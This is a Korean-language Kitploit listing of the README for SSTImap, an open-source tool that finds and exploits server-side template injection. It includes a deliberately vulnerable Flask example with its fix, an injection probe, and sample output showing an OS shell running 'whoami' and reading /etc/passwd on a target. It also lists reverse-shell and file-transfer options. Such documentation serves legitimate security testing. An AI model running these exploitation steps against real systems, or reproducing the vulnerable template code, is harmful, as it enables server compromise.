Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
SSTImap — 대화형 인터페이스를 갖춘 자동 SSTI 탐지 도구 | Kitploit
도구/GitHubGitHub/vladko312/sstimap
Vulnerability ScannersPayload GenerationCode AnalysisDynamic Code Analysis (DAST)ExploitationWeb Application ExploitationFuzzingPenetration TestingCommand and Control
GitHubvladko312/sstimap

SSTImap

대화형 인터페이스를 갖춘 자동 SSTI 탐지 도구

1.6k1775514일 전Kitploit 검토 완료
저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

SSTImap

Version 1.4 Python 3.14 Python 3.6 GitHub GitHub last commit Maintenance

이 프로젝트는 Tplmap을 기반으로 합니다.

SSTImap은 웹사이트의 코드 인젝션(Code Injection) 및 서버 사이드 템플릿 인젝션(Server-Side Template Injection) 취약점을 확인하고 이를 악용하여 운영 체제 자체에 접근할 수 있게 해주는 침투 테스트 소프트웨어입니다.

이 도구는 SSTI 탐지 및 악용을 위한 대화형 침투 테스트 도구로 사용되도록 개발되었으며, 더 고급 악용이 가능합니다. SSTImap용 추가 페이로드는 여기에서 찾을 수 있습니다.

페이로드와 기법은 다음에서 비롯되었습니다:

  • James Kettle의 Server-Side Template Injection: RCE For The Modern Web App
  • 기타 공개 연구 [1] [2] [8]
  • Tplmap에 대한 기여 [3] [4]
  • 본인의 연구 [9]
  • 이 도구는 일부 코드 컨텍스트 이스케이프 및 블라인드 인젝션 시나리오를 악용할 수 있습니다. 또한 Java, JavaScript, PHP, Python, Ruby 및 일반적인 비샌드박스 템플릿 엔진에서 eval() 유사 코드 인젝션을 지원합니다.

    Tplmap과의 주요 차이점

    이 소프트웨어는 Tplmap의 코드를 기반으로 하지만, 하위 호환성은 제공되지 않습니다.

    • SSTI 탐지 및 악용을 위한 두 가지 새로운 기법 추가
    • 더 쉬운 악용 및 탐지를 가능하게 하는 대화형 모드(-i)
    • 페이로드 반사 시 응답 마커로 사용되는 간단한 평가 페이로드
    • 일반 템플릿용 새 페이로드 추가, 모든 컨텍스트를 테스트하려면 --generic 사용
    • Eval_generic 모듈을 사용한 일반 평가 템플릿 인젝션 탐지
    • 기본 언어 eval() 유사 셸(-x) 또는 단일 명령(-X) 실행
    • 블라인드 파일 업로드가 이제 MD5 확인 및 파일 존재 확인 지원
    • 더 많은 템플릿용 새 페이로드 추가 및 기존 페이로드 다수 업데이트
    • 추가 플러그인 설치를 허용하는 모듈형 플러그인 구조
    • 다양한 POST 데이터 유형 지원
    • 크롤링 및 폼 탐지 추가
    • 많은 인수에 짧은 버전 추가
    • 일부 기존 명령줄 인수가 변경되었습니다. 도움말은 -h를 확인하세요.
    • 코드가 최신 Python 기능을 사용하도록 변경됨
    • _Jython_이 Python3를 지원하지 않으므로 Burp Suite 확장 프로그램이 임시로 제거됨

    서버 사이드 템플릿 인젝션

    다음은 Python에서 Flask 프레임워크와 Jinja2 템플릿 엔진을 사용하여 작성된 간단한 웹사이트의 예입니다. 사용자가 제공한 변수 name을 렌더링 전에 템플릿 문자열에 연결하므로 안전하지 않은 방식으로 통합합니다.

    root@kitploit:~
    from flask import Flask, request, render_template_string
    import os
    
    app = Flask(__name__)
    
    @app.route("/page")
    def page():
        name = request.args.get('name', 'World')
        # SSTI VULNERABILITY:
        template = f"Hello, {name}!<br>\n" \
                    "OS type: {{os}}"
        return render_template_string(template, os=os.name)
    
    if __name__ == "__main__":
        app.run(host='0.0.0.0', port=80)
    

    이러한 템플릿 사용 방식은 XSS 취약점을 만들 뿐만 아니라, 공격자가 서버에서 실행될 템플릿 코드를 주입할 수 있게 하여 SSTI로 이어집니다.

    root@kitploit:~
    $ curl -g 'https://www.target.com/page?name=John'
    Hello John!<br>
    OS type: posix
    $ curl -g 'https://www.target.com/page?name={{7*7}}'
    Hello 49!<br>
    OS type: posix
    

    사용자 제공 입력은 렌더링 컨텍스트를 통해 안전한 방식으로 도입되어야 합니다:

    root@kitploit:~
    from flask import Flask, request, render_template_string
    import os
    
    app = Flask(__name__)
    
    @app.route("/page")
    def page():
        name = request.args.get('name', 'World')
        template = "Hello, {{name}}!<br>\n" \
                   "OS type: {{os}}"
        return render_template_string(template, name=name, os=os.name)
    
    if __name__ == "__main__":
        app.run(host='0.0.0.0', port=80)
    

    사전 결정 모드

    사전 결정 모드의 SSTImap은 Tplmap과 매우 유사합니다. 다양한 템플릿에서 SSTI 취약점을 탐지하고 악용할 수 있습니다.

    악용 후, SSTImap은 코드 평가, OS 명령 실행 및 파일 시스템 조작에 대한 접근을 제공할 수 있습니다.

    URL을 확인하려면 -u 인수를 사용할 수 있습니다:

    root@kitploit:~
    $ ./sstimap.py -u https://example.com/page?name=John
    
        ╔══════╦══════╦═══════╗ ▀█▀
        ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
        ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
        ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
        ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
        ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                                 │                  | |
                                                    |_|
    [*] Version: 1.4.0
    [*] Author: @vladko312
    [*] Based on Tplmap
    [!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
    It is the end user's responsibility to obey all applicable local, state and federal laws.
    Developers assume no liability and are not responsible for any misuse or damage caused by this program
    
    
    [*] Testing if GET parameter 'name' is injectable   
    [*] Smarty plugin is testing rendering with tag '*'
    ...
    [*] Jinja2 plugin is testing rendering with tag '{{*}}'
    [+] Jinja2 plugin has confirmed injection with tag '{{*}}'
    [+] SSTImap identified the following injection point:
    
      GET parameter: name
      Engine: Jinja2
      Injection: {{*}}
      Context: text
      OS: posix-linux
      Technique: render
      Capabilities:
    
        Shell command execution: ok
        Bind and reverse shell: ok
        File write: ok
        File read: ok
        Code evaluation: ok, python code
    
    [+] Rerun SSTImap providing one of the following options:
        --os-shell                   Prompt for an interactive operating system shell
        --os-cmd                     Execute an operating system command.
        --eval-shell                 Prompt for an interactive shell on the template engine base language.
        --eval-cmd                   Evaluate code in the template engine base language.
        --tpl-shell                  Prompt for an interactive shell on the template engine.
        --tpl-cmd                    Inject code in the template engine.
        --bind-shell PORT            Connect to a shell bind to a target port
        --reverse-shell HOST PORT    Send a shell back to the attacker's port
        --upload LOCAL REMOTE        Upload files to the server
        --download REMOTE LOCAL      Download remote files
    

    --os-shell 옵션을 사용하여 대상에서 의사 터미널을 실행합니다.

    root@kitploit:~
    $ ./sstimap.py -u https://example.com/page?name=John --os-shell
    
        ╔══════╦══════╦═══════╗ ▀█▀
        ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
        ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
        ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
        ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
        ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                                 │                  | |
                                                    |_|
    [*] Version: 1.4.0
    [*] Author: @vladko312
    [*] Based on Tplmap
    [!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
    It is the end user's responsibility to obey all applicable local, state and federal laws.
    Developers assume no liability and are not responsible for any misuse or damage caused by this program
    [*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
    [*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3
    
    
    [*] Testing if GET parameter 'name' is injectable
    [*] Smarty plugin is testing rendering with tag '*'
    ...
    [*] Jinja2 plugin is testing rendering with tag '{{*}}'
    [+] Jinja2 plugin has confirmed injection with tag '{{*}}'
    [+] SSTImap identified the following injection point:
    
      GET parameter: name
      Engine: Jinja2
      Injection: {{*}}
      Context: text
      OS: posix-linux
      Technique: render
      Capabilities:
    
        Shell command execution: ok
        Bind and reverse shell: ok
        File write: ok
        File read: ok
        Code evaluation: ok, python code
    
    [+] Run commands on the operating system.
    posix-linux $ whoami
    root
    posix-linux $ cat /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    

    전체 옵션 목록을 보려면 --help 인수를 사용하세요.

    대화형 모드

    대화형 모드에서는 명령을 사용하여 SSTImap과 상호 작용합니다. 대화형 모드로 들어가려면 -i 인수를 사용할 수 있습니다. 악용 페이로드와 관련된 인수를 제외한 모든 다른 인수는 설정의 초기 값으로 사용됩니다.

    일부 명령은 테스트 실행 간에 설정을 변경하는 데 사용됩니다. 테스트를 실행하려면 초기 -u 인수 또는 url 명령을 통해 대상 URL을 제공해야 합니다. 그런 다음 run 명령을 사용하여 URL에서 SSTI를 확인할 수 있습니다.

    SSTI가 발견되면 명령을 사용하여 악용을 시작할 수 있습니다. 사전 결정 모드와 동일한 악용 기능을 사용할 수 있지만, Ctrl+C를 사용하여 프로그램을 중지하지 않고 중단할 수 있습니다.

    참고로, 테스트 결과는 대상 URL이 변경될 때까지 유효하므로 매번 탐지 테스트를 실행하지 않고도 악용 방법 간에 쉽게 전환할 수 있습니다.

    대화형 명령의 전체 목록을 보려면 대화형 모드에서 help 명령을 사용하세요.

    지원되는 템플릿 엔진

    SSTImap은 여러 템플릿 엔진과 eval() 유사 인젝션을 지원합니다.

    새 페이로드는 PR로 환영합니다. 개발 속도를 높이려면 팁을 확인하세요.

    EngineRCETechLanguageType
    Freemarker✓REBTJavaDefault
    Java generic EL injections✓REBTJavaDefault
    OGNL (Object-Graph Navigation Language code eval)✓REBTJavaDefault
    Velocity✓REBTJavaDefault
    Nunjucks✓REBTJavaScriptDefault
    Velocity.js✓REBTJavaScriptDefault
    JavaScript (code eval)✓REBTJavaScriptDefault
    JavaScript-based generic templates✓REBTJavaScriptDefault
    Twig (>=1.41; >=2.10; >=3.0)✓REBTPHPDefault
    PHP (code eval)✓REBTPHPDefault
    PHP-based generic templates✓REBTPHPDefault
    Jinja2✓REBTPythonDefault
    Python (code eval)✓REBTPythonDefault
    Python-based generic templates✓REBTPythonDefault
    ERB✓REBTRubyDefault
    Mustache (<=1.1.2; detection only)×reb_RubyDefault
    Slim✓REBTRubyDefault
    Ruby (code eval)✓REBTRubyDefault
    Generic evaluating templates×Reb_*Default
    SpEL (Spring EL code eval)✓REBTJavaGeneric
    doT✓REBTJavaScriptGeneric

    기법: (R)endered, (E)rror-based, (B)oolean error-based blind 및 (T)ime-based blind; 소문자는 부분적으로 지원되는 기법을 나타냅니다.

    더 많은 플러그인과 페이로드는 SSTImap Extra Plugins 저장소에서 찾을 수 있습니다.

    Burp Suite 플러그인

    현재 Burp Suite는 Python2를 실행하는 방법으로 Jython에서만 작동합니다. Python3 기능은 제공되지 않습니다.

    향후 계획

    이 목록에서 큰 기여를 계획하고 있다면, 저나 다른 기여자와 동일한 작업을 피하기 위해 알려주세요.

    • 다양한 엔진용 페이로드 추가
    • 플러그인이 기본 플러그인에 덜 의존하도록 만들기
    • 파일에서 원시 HTTP 요청 파싱
    • 변수 덤프 기능
    • 블라인드/사이드 채널 값 추출
    • 더 나은 문서화 (또는 최소한의 문서화)
    • 대화형 명령으로 짧은 인수?
    • 스크립팅 통합을 위한 JSONL/plaintext API 모드?
    • Python 스크립트에 대한 더 나은 통합
    • Multipart POST 데이터 유형 지원
    • 더 사용자 정의 가능한 요청 모듈 (second order, reset, non-HTTP)
    • 페이로드 처리 스크립트
    • 더 나은 구성 기능
    • 발견된 취약점 저장
    • HTML 또는 기타 형식의 보고서
    • 다중 라인 언어 평가?
    • 페이로드에서 플랫폼 의존성 방지
    • exec 기반 RCE 시나리오에서 여러 셸 테스트
    • process.mainModule이 정의되지 않을 수 있으므로 NodeJS 페이로드 업데이트
    • 스파이더/크롤러 자동화 (fantesykikachu 제공)
    • 자동 언어 및 엔진 가져오기
    • 더 많은 POST 데이터 유형 지원
    • 템플릿 및 기본 언어 평가 기능을 더 균일하게 만들기
    • 이스케이프 코드를 제거하는 인수?
    도구 다운로드
    EJS✓REBTJavaScriptGeneric
    Marko✓REBTJavaScriptGeneric
    Pug✓REBTJavaScriptGeneric
    Smarty✓REBTPHPGeneric
    Cheetah✓REBTPythonGeneric
    Mako✓REBTPythonGeneric
    Tornado✓REBTPythonGeneric
    Dust (<= [email protected])✓REBTJavaScriptLegacy
    Twig (<=1.19.0)✓REBTPHPLegacy
    Pybars3 / Pybars4✓REBTPythonLegacy
    Templite✓REBTPythonLegacy
    SSI (Server-Side Includes injection)✓R__TSSILegacy
    Obscure evaluating syntaxes×Reb_*Legacy
    CVE-2025-1302✓REBTJavaScriptExtra
    CVE-2025-13204✓REBTJavaScriptExtra
    CVE-2022-23614✓REBTPHPExtra
    CVE-2024-6386✓REBTPHPExtra
    CVE-2026-46640✓REBTPHPExtra